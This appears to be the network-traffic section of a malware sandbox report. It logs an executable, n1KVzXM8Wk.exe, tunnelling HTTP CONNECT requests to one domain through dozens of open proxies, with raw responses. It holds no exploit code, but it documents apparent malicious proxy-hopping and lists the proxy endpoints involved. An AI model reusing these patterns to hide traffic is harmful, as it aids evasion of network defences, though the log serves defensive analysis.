Feb 23, 2024 09:45:34.777237892 CET	1286	IN	HTTP/1.1 500 Internal Server Error Server: squid/6.2-VCS Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:34 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1112 X-Squid-Error: ERR_CANNOT_FORWARD 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 45 52 52 5f 43 41 4e 4e 4f 54 5f 46 4f 52 57 41 52 44 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 3e 45 52 52 4f 52 3c 2f 68 31 3e 0a 3c 68 32 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 72 65 74 72 69 65 76 65 20 74 68 65 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 0a 3c 62 6c 6f 63 6b 71 75 6f 74 65 20 69 64 3d 22 65 72 72 6f 72 22 3e 0a 3c 70 3e 3c 62 3e 53 68 69 65 6c 64 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 6f 72 77 61 72 64 20 79 6f 75 72 20 72 65 71 75 65 73 74 20 74 6f 20 74 68 65 20 63 6f 6e 66 69 67 75 72 65 64 20 75 70 73 74 72 65 61 6d 2e 2e 3c 2f 62 3e 3c 2f 70 3e 0a 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 0a 0a 3c 70 20 69 64 3d 22 73 79 73 6d 73 67 22 3e 54 68 65 20 73 79 73 74 65 6d 20 72 65 74 75 72 6e 65 64 3a 20 3c 69 3e 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 69 3e 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 68 72 3e 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 3e 47 65 6e 65 72 61 74 65 64 20 46 72 69 2c 20 32 33 20 46 65 62 20 32 30 32 34 20 30 38 3a 34 35 3a 33 34 20 47 4d 54 20 62 79 20 45 72 69 63 6f 6d 20 28 65 73 2d 70 72 6f 78 79 2d 61 75 74 68 29 3c 2f 70 3e 0a 3c 21 2d 2d 20 45 52 52 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id=ERR_CANNOT_FORWARD><div id="titles"><h1>ERROR</h1><h2>The requested URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><blockquote id="error"><p><b>Shield is unable to forward your request to the configured upstream..</b></p></blockquote><p id="sysmsg">The system returned: <i>Please try again later.</i></p><br></div><hr><div id="footer"><p>Generated Fri, 23 Feb 2024 08:45:34 GMT by Ericom (es-proxy-auth)</p>... ERR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1941	192.168.2.4	55309	70.166.167.38	57728	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.506098986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1942	192.168.2.4	55331	211.234.125.3	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.511212111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1943	192.168.2.4	55316	18.135.133.116	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.537944078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.698354006 CET	169	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:33 GMT Content-Type: text/plain X-Powered-By: Servlet/2.4 Server: squid/6.0.0-20220501-re899e0c27 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1944	192.168.2.4	54758	82.210.56.251	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.555459976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:58.620578051 CET	725	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:58 GMT Server: Apache/2.4.54 (Debian) Content-Length: 533 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 73 65 72 67 65 2e 6d 6f 72 61 6e 64 40 66 72 65 65 2e 66 72 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at serge.morand@free.fr to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1945	192.168.2.4	53681	146.59.70.29	6147	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.555865049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.147049904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1946	192.168.2.4	55120	162.240.19.133	38673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.555871964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.646858931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.647180080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1947	192.168.2.4	55317	193.239.58.92	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.562845945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1948	192.168.2.4	54823	199.116.114.11	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.615292072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1949	192.168.2.4	55345	202.159.60.65	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.615355968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1950	192.168.2.4	55350	41.86.252.91	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.615387917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1951	192.168.2.4	54910	125.227.225.157	3389	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.615427017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.647130013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1952	192.168.2.4	55362	218.145.131.182	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.615432024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1953	192.168.2.4	53664	147.45.43.59	34555	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.616822958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.647130013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.647434950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.646873951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1954	192.168.2.4	55333	45.179.231.210	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.617733002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1955	192.168.2.4	55326	47.242.234.237	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.620946884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1956	192.168.2.4	55352	104.21.194.182	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.622014046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.709332943 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:33 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1957	192.168.2.4	55327	159.223.71.71	53741	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.622062922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1958	192.168.2.4	55332	125.228.143.207	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.622155905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1959	192.168.2.4	55371	185.162.231.226	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.622160912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.709527016 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:33 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1960	192.168.2.4	55395	43.153.81.60	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.648627043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1961	192.168.2.4	55365	3.123.150.192	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.709209919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.882087946 CET	148	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:33 GMT Content-Type: text/plain X-Powered-By: Servlet/2.4 Server: squid/4.14 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1962	192.168.2.4	55351	85.214.118.98	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.709739923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.889471054 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.1 Date: Fri, 23 Feb 2024 08:45:33 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1963	192.168.2.4	55377	45.43.239.168	27070	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.722364902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1964	192.168.2.4	54798	107.180.101.18	21643	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.722558022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.795377016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.834644079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1965	192.168.2.4	55374	193.239.56.84	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.723299980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1966	192.168.2.4	55391	104.16.72.45	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.723622084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.811713934 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:33 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1967	192.168.2.4	55428	45.144.30.199	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.743360043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1968	192.168.2.4	55340	110.12.211.140	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.750678062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1969	192.168.2.4	55370	20.210.113.32	8123	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.767560005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.045643091 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:33 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1970	192.168.2.4	55404	5.161.98.204	22019	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.767807961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.147114992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
